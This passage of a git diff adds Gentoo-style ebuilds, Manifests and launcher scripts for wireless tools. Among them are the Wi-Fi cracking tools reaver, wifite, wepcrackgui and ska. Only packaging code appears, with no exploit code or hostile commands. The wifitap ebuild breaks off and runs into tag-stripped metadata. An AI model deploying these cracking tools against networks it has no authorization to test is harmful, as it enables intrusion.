"/etc/reaver" + doins reaver.db + + doman ../docs/reaver.1.gz + dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH +} diff --git a/net-wireless/reaver/reaver-1.4-r2.ebuild b/net-wireless/reaver/reaver-1.4-r2.ebuild new file mode 100644 index 00000000..71fa4ad9 --- /dev/null +++ b/net-wireless/reaver/reaver-1.4-r2.ebuild @@ -0,0 +1,40 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $ + +EAPI=4 + +AUTOTOOLS_IN_SOURCE_BUILD="1" + +inherit autotools-utils eutils + +DESCRIPTION="Brute force attack against Wifi Protected Setup" +HOMEPAGE="http://code.google.com/p/reaver-wps/" +SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="net-libs/libpcap + dev-db/sqlite:3" +RDEPEND="${DEPEND}" + +S="${WORKDIR}/${P}/src" + +src_prepare() { + epatch "${FILESDIR}"/000[1-4]*.patch + #http://code.google.com/p/reaver-wps/issues/detail?id=420 + epatch "${FILESDIR}"/0005*.patch +} + +src_install() { + dobin wash reaver + + insinto "/etc/reaver" + doins reaver.db + + doman ../docs/reaver.1.gz + dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH +} diff --git a/net-wireless/reaver/reaver-1.4-r3.ebuild b/net-wireless/reaver/reaver-1.4-r3.ebuild new file mode 100644 index 00000000..c7fcf49a --- /dev/null +++ b/net-wireless/reaver/reaver-1.4-r3.ebuild @@ -0,0 +1,40 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/reaver/reaver-1.4.ebuild,v 1.1 2012/05/15 19:39:11 maksbotan Exp $ + +EAPI=4 + +AUTOTOOLS_IN_SOURCE_BUILD="1" + +inherit autotools-utils eutils + +DESCRIPTION="Brute force attack against Wifi Protected Setup" +HOMEPAGE="http://code.google.com/p/reaver-wps/" +SRC_URI="http://reaver-wps.googlecode.com/files/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="net-libs/libpcap + dev-db/sqlite:3" +RDEPEND="${DEPEND}" + +S="${WORKDIR}/${P}/src" + +src_prepare() { + epatch "${FILESDIR}"/000[1-4]*.patch + #http://code.google.com/p/reaver-wps/issues/detail?id=420 + epatch "${FILESDIR}"/0005-soreau-show-status-r2.patch +} + +src_install() { + dobin wash reaver + + insinto "/etc/reaver" + doins reaver.db + + doman ../docs/reaver.1.gz + dodoc ../docs/README ../docs/README.REAVER ../docs/README.WASH +} diff --git a/net-wireless/rfidtool/Manifest b/net-wireless/rfidtool/Manifest new file mode 100644 index 00000000..e784b407 --- /dev/null +++ b/net-wireless/rfidtool/Manifest @@ -0,0 +1,2 @@ +DIST rfidtool-v0.01.tar.bz2 10125 RMD160 39ab91605c3438b276a8999a7a7ef3dbae5e5544 SHA1 c60185355c6f42972aff86662c4be55a91b97dd6 SHA256 e7e61aa434634121323d0a02435c09b37e0bddab9dd517d4fdfeb1fcb018e5f7 +EBUILD rfidtool-0.01.ebuild 568 RMD160 b17c684f7ad5a1687ab2e83d5f6f965a41a1ba1c SHA1 7c16e0d424fefbce4152215e949ca0ed1636ed34 SHA256 33788a745b376144f24dc039e2061205d6a0ded725a6b6b2efadc97a5230c474 diff --git a/net-wireless/rfidtool/rfidtool-0.01.ebuild b/net-wireless/rfidtool/rfidtool-0.01.ebuild new file mode 100644 index 00000000..ce66d2fe --- /dev/null +++ b/net-wireless/rfidtool/rfidtool-0.01.ebuild @@ -0,0 +1,26 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +DESCRIPTION="command line rfid interface" +HOMEPAGE="http://www.bindshell.net/tools/rfidtool" +SRC_URI="http://www.bindshell.net/tools/rfidtool/$PN-v$PV.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="" +RDEPEND="" + +S="${WORKDIR}"/$PN-v$PV + +src_compile() { + gcc $CFLAGS main.c rfid.c -o rfidtool || die "compile failed" +} + +src_install() { + dobin rfidtool || die "install failed" + dodoc README || die "doc install failed" +} diff --git a/net-wireless/sdrsharp/ChangeLog b/net-wireless/sdrsharp/ChangeLog new file mode 100644 index 00000000..d3fa3b78 --- /dev/null +++ b/net-wireless/sdrsharp/ChangeLog @@ -0,0 +1,12 @@ +# ChangeLog for net-wireless/sdrsharp +# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/sdrsharp/ChangeLog,v 1.2 2012/09/10 06:11:56 zerochaos Exp $ + + 10 Sep 2012; Rick Farina sdrsharp-9999.ebuild: + fixed incorrect license thanks to chithanh for noticing + +*sdrsharp-9999 (10 Sep 2012) + + 10 Sep 2012; Rick Farina +files/sdrsharp, + +metadata.xml, +sdrsharp-9999.ebuild: + initial import of sdrsharp diff --git a/net-wireless/sdrsharp/Manifest b/net-wireless/sdrsharp/Manifest new file mode 100644 index 00000000..368ad8ae --- /dev/null +++ b/net-wireless/sdrsharp/Manifest @@ -0,0 +1,4 @@ +AUX sdrsharp 52 SHA256 db62034968b056410d8b90b3e77325cf869529d09535c549b403586905a4fee4 SHA512 ba371fb47ee0fc5f5dc912879631b0623ed0c6f3386e903da1e23320030e882ad677b098bd6ab640cdca19db474035fe65afd094e9a37725c66bc74c3478ca28 WHIRLPOOL b2d7c4251fa7324100982b7c6d35806ca536bc22d42129e6848dffd2529d0175b19cd24900b9b167f97ba9802b30c2a98592936ed8a76eb9f494b01c57ad8497 +EBUILD sdrsharp-9999.ebuild 1098 SHA256 779310b2e2af7b6ff80be2373ee118fb20ed2c3e3936b1913e99ed03771f52af SHA512 75f79986595fbf8acd3890fda4574d7c47be96bbb92c764c4d0d934ffbec7f856f0103f16278b3917c236a9f721acea95dcb0af661f6ddfc07fb5cbc6d0dd0d8 WHIRLPOOL c62076760e12da2cce1947372903e34b03b5c9b0edadb9528b7afad38b63cd026879132b615e148c23fe853a532a915eb9b95ca39f28cdedede78c65cfd8c4c2 +MISC ChangeLog 515 SHA256 16b73205e3d9a15415930ae273ac7dfea35c13d8e23613f966b13b0bcce03cdb SHA512 88264237fc38f7ec34ffdbc3e0c22c0f691463bd8f56561fc6d03d9ad9c21efb83b1c43a3902dda602bb3034b826410e5eccd8e2c3f7fd99778afb022219a2a0 WHIRLPOOL 9b7ad2565a3206929d879b20eb663bd063c9c68e1d5df143ae8ecf2a724e8e4a5b473480b6521bc999f3ea3b5d610806bc652aca85a3b161f0d66d65c928cbaf +MISC metadata.xml 296 SHA256 5f05908fd92afd7e7bbbc1eca7a7251a783f381fd6fffbde25dd8514d27a0fc2 SHA512 b35a8935028bb79974ce95950ccff8126cd6cae56babbf9f4e78057addc7fd46e88c360427a3f1034d4789b2758de7382eaeb721b676b9f2d07bdeadbeae01cc WHIRLPOOL cce56133bbed06d2abf31898d7cd4b334bc4343ba64fa1e5cf96e7fe9c0303fe3ca5381b9d731086af49f8ea978462ffd73b7459982302eb6fde8edcb89648cf diff --git a/net-wireless/sdrsharp/files/sdrsharp b/net-wireless/sdrsharp/files/sdrsharp new file mode 100644 index 00000000..c7956895 --- /dev/null +++ b/net-wireless/sdrsharp/files/sdrsharp @@ -0,0 +1,2 @@ +#!/bin/sh +mono /usr/GETLIBDIR/sdrsharp/SDRSharp.exe diff --git a/net-wireless/sdrsharp/metadata.xml b/net-wireless/sdrsharp/metadata.xml new file mode 100644 index 00000000..50b2373a --- /dev/null +++ b/net-wireless/sdrsharp/metadata.xml @@ -0,0 +1,12 @@ + + + +radio + + zerochaos@gentoo.org + Rick Farina + + + + + diff --git a/net-wireless/sdrsharp/sdrsharp-9999.ebuild b/net-wireless/sdrsharp/sdrsharp-9999.ebuild new file mode 100644 index 00000000..daceb459 --- /dev/null +++ b/net-wireless/sdrsharp/sdrsharp-9999.ebuild @@ -0,0 +1,43 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/sdrsharp/sdrsharp-9999.ebuild,v 1.2 2012/09/10 06:11:56 zerochaos Exp $ + +EAPI=4 + +inherit subversion + +DESCRIPTION="simple, intuitive, small and fast DSP application for SDR" +HOMEPAGE="http://sdrsharp.com/" +ESVN_REPO_URI="https://subversion.assembla.com/svn/sdrsharp/trunk" + +LICENSE="MIT MS-RSL" +SLOT="0" +KEYWORDS="" +IUSE="" + +#The MS-RSL license forbid modification and redistribution +RESTRICT="mirror bindist" + +DEPEND="dev-lang/mono + media-libs/portaudio + net-wireless/rtl-sdr" +RDEPEND="${DEPEND}" + +src_compile() { + xbuild /t:Rebuild /p:Configuration=Release SDRSharp.sln +} + +src_install() { + cd "${S}"/Release + + #remove windows only stuff + sed -i -e "/FUNcube/d" SDRSharp.exe.config + sed -i -e "/SoftRock/d" SDRSharp.exe.config + rm -f SDRSharp.FUNcube.dll SDRSharp.SoftRock.dll + + #install + insinto /usr/$(get_libdir)/${PN} + doins SDRSharp.exe* *.dll + dobin "${FILESDIR}"/sdrsharp + sed -i "s#GETLIBDIR#$(get_libdir)#" "${ED}"/usr/bin/sdrsharp +} diff --git a/net-wireless/ska/Manifest b/net-wireless/ska/Manifest new file mode 100644 index 00000000..e2de8563 --- /dev/null +++ b/net-wireless/ska/Manifest @@ -0,0 +1,2 @@ +DIST ska-0.2.tar.bz2 13201 RMD160 d4c0122e3d09a79cea322a2c321806a008ef3992 SHA1 94a0a1069b5179e9b3017e54d8ae2b157c1bb9bb SHA256 c4c908b50c1138e9a87f8fae855fe3ce6e726467dd7f36a1c9467da997140165 +EBUILD ska-0.2.ebuild 478 RMD160 92ae16f5b32db603631462fb078d07be44b49e86 SHA1 4b48fdf5ee1ae21b9b06c185c7a51494e9b0e50c SHA256 449d1fafee1e4af0040ba1bb9a0a986a226e4704d2779a6135ba59f39f5879e7 diff --git a/net-wireless/ska/files/digest-ska-0.2 b/net-wireless/ska/files/digest-ska-0.2 new file mode 100644 index 00000000..41941f52 --- /dev/null +++ b/net-wireless/ska/files/digest-ska-0.2 @@ -0,0 +1,3 @@ +MD5 6e1a6708dca383b28b7de5052e4a8dc9 ska-0.2.tar.bz2 13201 +RMD160 d4c0122e3d09a79cea322a2c321806a008ef3992 ska-0.2.tar.bz2 13201 +SHA256 c4c908b50c1138e9a87f8fae855fe3ce6e726467dd7f36a1c9467da997140165 ska-0.2.tar.bz2 13201 diff --git a/net-wireless/ska/ska-0.2.ebuild b/net-wireless/ska/ska-0.2.ebuild new file mode 100644 index 00000000..bd1bc36f --- /dev/null +++ b/net-wireless/ska/ska-0.2.ebuild @@ -0,0 +1,23 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +DESCRIPTION="Fake Shared Key Authentication" +HOMEPAGE="http://homepages.tu-darmstadt.de/~p_larbig/wlan/" +SRC_URI="http://homepages.tu-darmstadt.de/~p_larbig/wlan/${P}.tar.bz2" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~x86 ~amd64" +IUSE="" + +DEPEND="" + +src_compile() { + gcc $CFLAGS -o ska ska.c +} + +src_install() { + dobin ska || die "install failed" + dodoc README +} diff --git a/net-wireless/virtualradar-bin/Manifest b/net-wireless/virtualradar-bin/Manifest new file mode 100644 index 00000000..1889881b --- /dev/null +++ b/net-wireless/virtualradar-bin/Manifest @@ -0,0 +1,5 @@ +AUX virtualradar 54 SHA256 5fd9d4dccd410ac4091ea48ab0cd7b2ae34627d8b96b25748cf1579ef1d49755 SHA512 57c5064cd8e58659a942523f76796ffa5ae38d88ea7aea97d0858a2cc0fabe6504a77fc342ee5e5a20f1265136934ab9634dbaa39f6048ce50e722d37dd26382 WHIRLPOOL bbb940f264ffaf91045421dce1e32d6f0bbc717c178ee92efb20d056472f75b66bcd08292458bf4ec0db48364116f4e39f259e7c1d382dac9b931e6a24872a6d +DIST VirtualRadar.tar.gz 1110710 SHA256 5f8d10d2e80b4a87a66dc60efc722ac42b80569be8db3aab4101b047e60d4ecc SHA512 27a35cd9ab3573f7113c6e0dad50de6c8845a275b994b83e0591b67a319e80e66100aff1847c0b388d4910a2f82d50945bf8af37122766b8fc3e727dcaa03963 WHIRLPOOL 2af9ca1119ef62fbb1f0e6813b767533b749b0157266eb4fb3391ac58acd335727853f43875f3e1dd58a31b376d695481dd5c9e848da1465563f4d1dd148e3cf +DIST virtualradar-bin-1.0.5.tar.gz 1110710 SHA256 5f8d10d2e80b4a87a66dc60efc722ac42b80569be8db3aab4101b047e60d4ecc SHA512 27a35cd9ab3573f7113c6e0dad50de6c8845a275b994b83e0591b67a319e80e66100aff1847c0b388d4910a2f82d50945bf8af37122766b8fc3e727dcaa03963 WHIRLPOOL 2af9ca1119ef62fbb1f0e6813b767533b749b0157266eb4fb3391ac58acd335727853f43875f3e1dd58a31b376d695481dd5c9e848da1465563f4d1dd148e3cf +EBUILD virtualradar-bin-1.0.5.ebuild 584 SHA256 465f66d43284fe1e8440f70f54233cf47605bd5bf07eab22ba4be783b0cc2833 SHA512 e2c43aaaa6b9499ef0f91f2b092e7be7d3c7988856b5320462d8188d1d682c67bc1e64c07ed8dc12eeed53d98219f9d49e40a198e1594a57134b126c3efff59b WHIRLPOOL 02b1b0149341dde91a755921aca61aaa4494f3e2da693fb8cd89ec3ce7bdbbaedeeb87ad932aa999de46b7ef3b021dc3c71ce8ff5df8cf7763f4da0b403d31b0 +EBUILD virtualradar-bin-9999.ebuild 507 SHA256 bf28e88b46e5706d147a50660d3ea55024880ec9389a40553d75ce56376c622f SHA512 4e2f49b920c1f9c3acbf221a43bd7db2c68ea77de79c409da243d836d7cef04354444bf7ef290402de409b05a5459d341949bb7bcd3b6220860843f890846056 WHIRLPOOL 238fa244e3631acf20080e9afda5c2ff193aaa7ae11c86b2f00b2f550cc0b48821d1b7c3930040fda84635d126ec0bd791278621b26a310a337728b1aaaa6983 diff --git a/net-wireless/virtualradar-bin/files/virtualradar b/net-wireless/virtualradar-bin/files/virtualradar new file mode 100644 index 00000000..9cb36031 --- /dev/null +++ b/net-wireless/virtualradar-bin/files/virtualradar @@ -0,0 +1,2 @@ +#!/bin/sh +mono /opt/virtualradar-bin/VirtualRadar.exe diff --git a/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild b/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild new file mode 100644 index 00000000..514a011b --- /dev/null +++ b/net-wireless/virtualradar-bin/virtualradar-bin-1.0.5.ebuild @@ -0,0 +1,27 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +DESCRIPTION="Open-source .NET application for ads-b mapping" +HOMEPAGE="http://www.virtualradarserver.co.uk/Default.aspx" +#SRC_URI="http://www.virtualradarserver.co.uk/Files/VirtualRadar.tar.gz" +SRC_URI="http://dev.gentoo.org/~zerochaos/distfiles/${P}.tar.gz" + +LICENSE="" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="" +RDEPEND="${DEPEND} + dev-lang/mono" + +S="${WORKDIR}" + +src_install() { + insinto /opt/${PN} + doins * + dobin "${FILESDIR}"/virtualradar +} diff --git a/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild b/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild new file mode 100644 index 00000000..1871bf93 --- /dev/null +++ b/net-wireless/virtualradar-bin/virtualradar-bin-9999.ebuild @@ -0,0 +1,26 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +DESCRIPTION="Open-source .NET application for ads-b mapping" +HOMEPAGE="http://www.virtualradarserver.co.uk/Default.aspx" +SRC_URI="http://www.virtualradarserver.co.uk/Files/VirtualRadar.tar.gz" + +LICENSE="" +SLOT="0" +KEYWORDS="" +IUSE="" + +DEPEND="" +RDEPEND="${DEPEND} + dev-lang/mono" + +S="${WORKDIR}" + +src_install() { + insinto /opt/${PN} + doins * + dobin "${FILESDIR}"/virtualradar +} diff --git a/net-wireless/wepcrackgui/Manifest b/net-wireless/wepcrackgui/Manifest new file mode 100644 index 00000000..16b9584a --- /dev/null +++ b/net-wireless/wepcrackgui/Manifest @@ -0,0 +1 @@ +EBUILD wepcrackgui-9999.ebuild 1765 RMD160 fe40f94ca8f59c92fc341a3da27027ab36102ce0 SHA1 6545ecddb4940a76363e40162da9bce86e742300 SHA256 2ec4be7f71c474f40257f87e69d46fc398815bcfe2a4b6ba7ee8440e23576f31 diff --git a/net-wireless/wepcrackgui/wepcrackgui-9999.ebuild b/net-wireless/wepcrackgui/wepcrackgui-9999.ebuild new file mode 100644 index 00000000..509bce09 --- /dev/null +++ b/net-wireless/wepcrackgui/wepcrackgui-9999.ebuild @@ -0,0 +1,67 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=3 + +inherit git mono multilib + +DESCRIPTION="A GUI for aircrack-ng written in C#" +HOMEPAGE="http://sourceforge.net/projects/wepcrackgui/" +SRC_URI="" +EGIT_REPO_URI="git://wepcrackgui.git.sourceforge.net/gitroot/wepcrackgui/wepcrackgui" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64" +IUSE="debug gtk qt4" + +DEPEND="dev-lang/mono + gtk? ( dev-dotnet/gtk-sharp ) + qt4? ( kde-base/kdebindings-csharp )" +RDEPEND="${DEPEND} + net-wireless/aircrack-ng + net-wireless/mdk" + +src_configure() { + local _conf + if use debug ; then + _conf=DEBUG + else + _conf=RELEASE + fi + echo $_conf >> _conf + ./configure --prefix=/usr --config=$_conf +} + +src_install() { + local _rls + if [[ $(cat _conf) == RELEASE ]]; then + _rls=Release + else + _rls=Debug + fi + insinto /usr/$(get_libdir)/${PN}/ + doins WepCrack/bin/$_rls/Unbuffer.exe || die + doins WepCrack/bin/$_rls/TestRun.exe || die + doins WepCrack/bin/$_rls/WepCrack.dll || die + doins WepCrack/bin/$_rls/WepCrackInterfaces.dll || die + if use gtk ; then + doins GWepCrackGui/bin/$_rls/GWepCrackGui.exe || die + doins GWepCrackGui/bin/$_rls/WepCrackGtk.dll || die + sed -i "s|./|/usr/$(get_libdir)/${PN}/|" GWepCrackGui/gwepcrack || die + dobin GWepCrackGui/gwepcrack || die + fi + if use qt4 ; then + doins QWepCrackGui/bin/$_rls/QWepCrackGui.exe || die + doins QWepCrackGui/bin/$_rls/WepCrackQt.dll || die + sed -i "s|./|/usr/$(get_libdir)/${PN}/|" QWepCrackGui/qwepcrack || die + dobin QWepCrackGui/qwepcrack || die + fi + insinto /usr/share/${PN}/ + doins WepCrack/SSID.txt || die + doins WepCrack/oui.txt || die + insinto /usr/share/${PN}/wordlists + doins WepCrack/wordlists/password.lst || die + dodoc TODO README || die +} diff --git a/net-wireless/wifitap/Manifest b/net-wireless/wifitap/Manifest new file mode 100644 index 00000000..746a2a48 --- /dev/null +++ b/net-wireless/wifitap/Manifest @@ -0,0 +1,2 @@ +DIST wifitap-0.4.0.tgz 110612 RMD160 808e709050a92cf88f73ca7c79700e9f8bf776fb SHA1 54d605c021192fb4b1b34f0b37b95b7c8fe4df71 SHA256 5029b4b80e66844e6109ee9840e70a90e453bd4e5169d9e903eaef599d15162e +EBUILD wifitap-0.4.0-r4.ebuild 976 RMD160 65bb71232ad5c817601118e23646fd1e49dc3343 SHA1 2ecc24568b9ce7288fa4bf8b017aa3356859a594 SHA256 cce9376a34979a384c889a04a540951871cbb338175251286f5a678ca7efeb01 diff --git a/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild b/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild new file mode 100644 index 00000000..9894af10 --- /dev/null +++ b/net-wireless/wifitap/wifitap-0.4.0-r4.ebuild @@ -0,0 +1,42 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /root/portage/net-wireless/wifitap/wifitap-0.3.7.ebuild,v 1.1.1.1 2006/03/29 19:41:59 grimmlin Exp $ + +inherit python + +DESCRIPTION="A wireless tool to do direct connection to client without passing through an AP" +HOMEPAGE="http://sid.rstack.org/index.php/Wifitap_EN" +SRC_URI="http://sid.rstack.org/code/${PN}/${P}.tgz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND=" + + + no-herd + + antonspam@pentoo.org + + + + installes an extra dictionary + + + Enables use of extra functions + + + Enables use of the TK gui + + + diff --git a/net-wireless/wifite/wifite-0.84.ebuild b/net-wireless/wifite/wifite-0.84.ebuild new file mode 100644 index 00000000..536dad4e --- /dev/null +++ b/net-wireless/wifite/wifite-0.84.ebuild @@ -0,0 +1,45 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: + +EAPI=3 +PYTHON_DEPEND="2" +PYTHON_USE_WITH="tk" +PYTHON_USE_WITH_OPT="tk" + +inherit python eutils versionator + +AVC=( $(get_version_components) ) + +DESCRIPTION="Mass WEP/WPA cracker" +HOMEPAGE="http://code.google.com/p/wifite/" +SRC_URI="http://wifite.googlecode.com/svn-history/r${AVC[1]}/trunk/wifite.py -> ${P}.py" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="dict extra tk" + +DEPEND="" +RDEPEND="net-wireless/aircrack-ng + dev-python/pexpect + dict? ( sys-apps/cracklib-words ) + extra? ( app-crypt/pyrit + net-wireless/cowpatty + net-analyzer/macchanger ) + tk? ( x11-terms/xterm )" + +S=${WORKDIR}/${PN} + +src_unpack() { + mkdir "${S}" + cp "${DISTDIR}"/${A} "${S}/${PN}" +} + +src_prepare() { + epatch "${FILESDIR}"/${PN}-noupgrade.patch +} + +src_install() { + dobin wifite +} diff --git a/net-wireless/wifite/wifite-2.0_beta_p10.ebuild b/net-wireless/wifite/wifite-2.0_beta_p10.ebuild new file mode 100644 index 00000000..b890ba33 --- /dev/null +++ b/net-wireless/wifite/wifite-2.0_beta_p10.ebuild @@ -0,0 +1,42 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: + +EAPI=3 +PYTHON_DEPEND="2" +PYTHON_USE_WITH="tk" +PYTHON_USE_WITH_OPT="tk" + +inherit python + +DESCRIPTION="Mass WEP/WPA cracker" +HOMEPAGE="http://code.google.com/p/wifite/" +#SRC_URI="http://wifite.googlecode.com/svn-history/r${AVC[1]}/trunk/wifite.py -> ${P}.py" +# Annoying: github is a temporary location for alpha releases +SRC_URI="https://github.com/derv82/wifite/raw/4ad0ae3b3d141944d0baf881d739a35c1851e8f5/wifite.py -> ${P}.py" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="dict extra tk" + +DEPEND="" +RDEPEND="net-wireless/aircrack-ng + dev-python/pexpect + dict? ( sys-apps/cracklib-words ) + extra? ( app-crypt/pyrit + net-wireless/cowpatty + net-analyzer/macchanger + net-wireless/reaver ) + tk? ( x11-terms/xterm )" + +S=${WORKDIR}/${PN} + +src_unpack() { + mkdir "${S}" + cp "${DISTDIR}"/${A} "${S}/${PN}" +} + +src_install() { + dobin wifite +} diff --git a/net-wireless/wifite/wifite-2.85-r1.ebuild b/net-wireless/wifite/wifite-2.85-r1.ebuild new file mode 100644 index 00000000..efd50156 --- /dev/null +++ b/net-wireless/wifite/wifite-2.85-r1.ebuild @@ -0,0 +1,48 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: + +EAPI=3 +PYTHON_DEPEND="2" +#GUI interface is disabled in this version +#PYTHON_USE_WITH="tk" +#PYTHON_USE_WITH_OPT="tk" + +inherit python eutils versionator + +AVC=( $(get_version_components) ) + +DESCRIPTION="Mass WEP/WPA cracker" +HOMEPAGE="http://code.google.com/p/wifite/" +SRC_URI="http://wifite.googlecode.com/svn-history/r${AVC[1]}/trunk/wifite.py -> ${P}.py" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="dict extra" + +DEPEND="" +RDEPEND="net-wireless/aircrack-ng + dev-python/pexpect + dict? ( sys-apps/cracklib-words ) + extra? ( app-crypt/pyrit + net-wireless/cowpatty + net-analyzer/macchanger + net-wireless/reaver )" +# tk? ( x11-terms/xterm )" + +S=${WORKDIR}/${PN} + +src_unpack() { + mkdir "${S}" + cp "${DISTDIR}"/${A} "${S}/${PN}" +} + +src_prepare() { + epatch "${FILESDIR}"/${PN}-2-noupgrade.patch + python_convert_shebangs 2 "${S}"/${PN} +} + +src_install() { + dobin wifite +} diff --git a/net-wireless/wifite/wifite-2.85.ebuild b/net-wireless/wifite/wifite-2.85.ebuild new file mode 100644 index 00000000..545d86b2 --- /dev/null +++ b/net-wireless/wifite/wifite-2.85.ebuild @@ -0,0 +1,47 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: + +EAPI=3 +PYTHON_DEPEND="2" +#GUI interface is disabled in this version +#PYTHON_USE_WITH="tk" +#PYTHON_USE_WITH_OPT="tk" + +inherit python eutils versionator + +AVC=( $(get_version_components) ) + +DESCRIPTION="Mass WEP/WPA cracker" +HOMEPAGE="http://code.google.com/p/wifite/" +SRC_URI="http://wifite.googlecode.com/svn-history/r${AVC[1]}/trunk/wifite.py -> ${P}.py" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="amd64 x86" +IUSE="dict extra" + +DEPEND="" +RDEPEND="net-wireless/aircrack-ng + dev-python/pexpect + dict? ( sys-apps/cracklib-words ) + extra? ( app-crypt/pyrit + net-wireless/cowpatty + net-analyzer/macchanger + net-wireless/reaver )" +# tk? ( x11-terms/xterm )" + +S=${WORKDIR}/${PN} + +src_unpack() { + mkdir "${S}" + cp "${DISTDIR}"/${A} "${S}/${PN}" +} + +src_prepare() { + epatch "${FILESDIR}"/${PN}-2-noupgrade.patch +} + +src_install() { + dobin wifite +} diff --git a/net-wireless/wireless-regdb/Manifest b/net-wireless/wireless-regdb/Manifest new file mode 100644 index 00000000..7302ff74 --- /dev/null +++ b/net-wireless/wireless-regdb/Manifest @@ -0,0 +1,13 @@ +AUX extra-monitor-20090817.patch 1710 RMD160 cc644913fd588251f2ab16761a44363eb35015aa SHA1 660987a7b70c993ceb76efec8f960ca97956fe06 SHA256 7ed4039b3ba98d9c8ff25f3395e1a87a5cf05d2b20111ac9972d869c98d40872 +AUX extra-monitor-20091125.patch 1710 RMD160 cc644913fd588251f2ab16761a44363eb35015aa SHA1 660987a7b70c993ceb76efec8f960ca97956fe06 SHA256 7ed4039b3ba98d9c8ff25f3395e1a87a5cf05d2b20111ac9972d869c98d40872 +AUX extra-monitor-debug.patch 1036 RMD160 8100c465b61bfd45781cc6531d74614cfab8e929 SHA1 2b91e5367e82356ab72819432696695fa5354b1e SHA256 57f94302847d7a16cbfd7150cfa91ccebfc2ce752a6a41e223ffcb6599d5592a +AUX extra-monitor.patch 721 RMD160 eecf971cc407b8d34903b3d8667ac93fe86d1876 SHA1 8e2bf69309d6188f2a789180743a72c0f7c74dc2 SHA256 78752000995d1edd69d7584fd98bcde439fb1e1de4ecdfe6eeec4ca7d8d855f9 +DIST wireless-regdb-2009.01.30.tar.bz2 11515 RMD160 56ec08a66db2795afef93271d0c93178ac9130ca SHA1 280935c9428d353a9d50a0bfa533fc187ccfe6cb SHA256 8b86eeab87497b708b2ec590ebf32659244dbfba57d33329ce0310c8564dd75b +DIST wireless-regdb-2009.03.09.tar.bz2 11855 RMD160 e1f4f9c64ddfcd9374f8ac5327203e1e048a6d10 SHA1 f823eeb0c637fee9c705fc7112b33fc9eb55fa4a SHA256 794c5f7d59cd83ba6fe33ef5a25cd28fa655f395df43b648157ccec2fe5faf35 +DIST wireless-regdb-2009.08.17.tar.bz2 12745 RMD160 21ebefcd8d8aefd3b559f432f0948a763144ded4 SHA1 ab87bfd0b2f26a8e1213da16ce2add47c831ac66 SHA256 6b1e39bec4c1122e5639e979f2632430e41a2acac8ba251a13bf5c953f4775a1 +DIST wireless-regdb-2009.11.25.tar.bz2 12844 RMD160 a129a77e700b42de339e6c1891d51e729349fbe0 SHA1 c8afeffc4ad4f292d43551ce1c5c20e8aa559c34 SHA256 b9d569a41f66323339b7aa203db6e2d8f39c98192f134b5eef2135cf09cd943f +EBUILD wireless-regdb-20090130-r1.ebuild 1064 RMD160 d428dcb67fc6876fd01dac56c2e60d38738f3349 SHA1 e3693e277f12e3c6a77b1fa0c992f09590b8aef7 SHA256 83446433160c2d15e6a53c4920c31bdf425b91d6d1008a8536c98e9c34121780 +EBUILD wireless-regdb-20090309.ebuild 1006 RMD160 c26e06edb51e763c2fa95af9a38587290282651f SHA1 b94515d5cb3bfe26e5bfc2dbc4d96891bacfe685 SHA256 39e29e13e7eddfb5570cb271f98ba906d0a47b6657dd500936c2d7e9620fce68 +EBUILD wireless-regdb-20090817.ebuild 967 RMD160 3222490393c947c8987b8eaa0cd49afccb571093 SHA1 cb40eafba2712c64848952800866608f6d48f3a5 SHA256 2d55b76432f181ff4493f039758ad28662fb66281205deb7ac391bb00069191d +EBUILD wireless-regdb-20091125-r1.ebuild 1026 RMD160 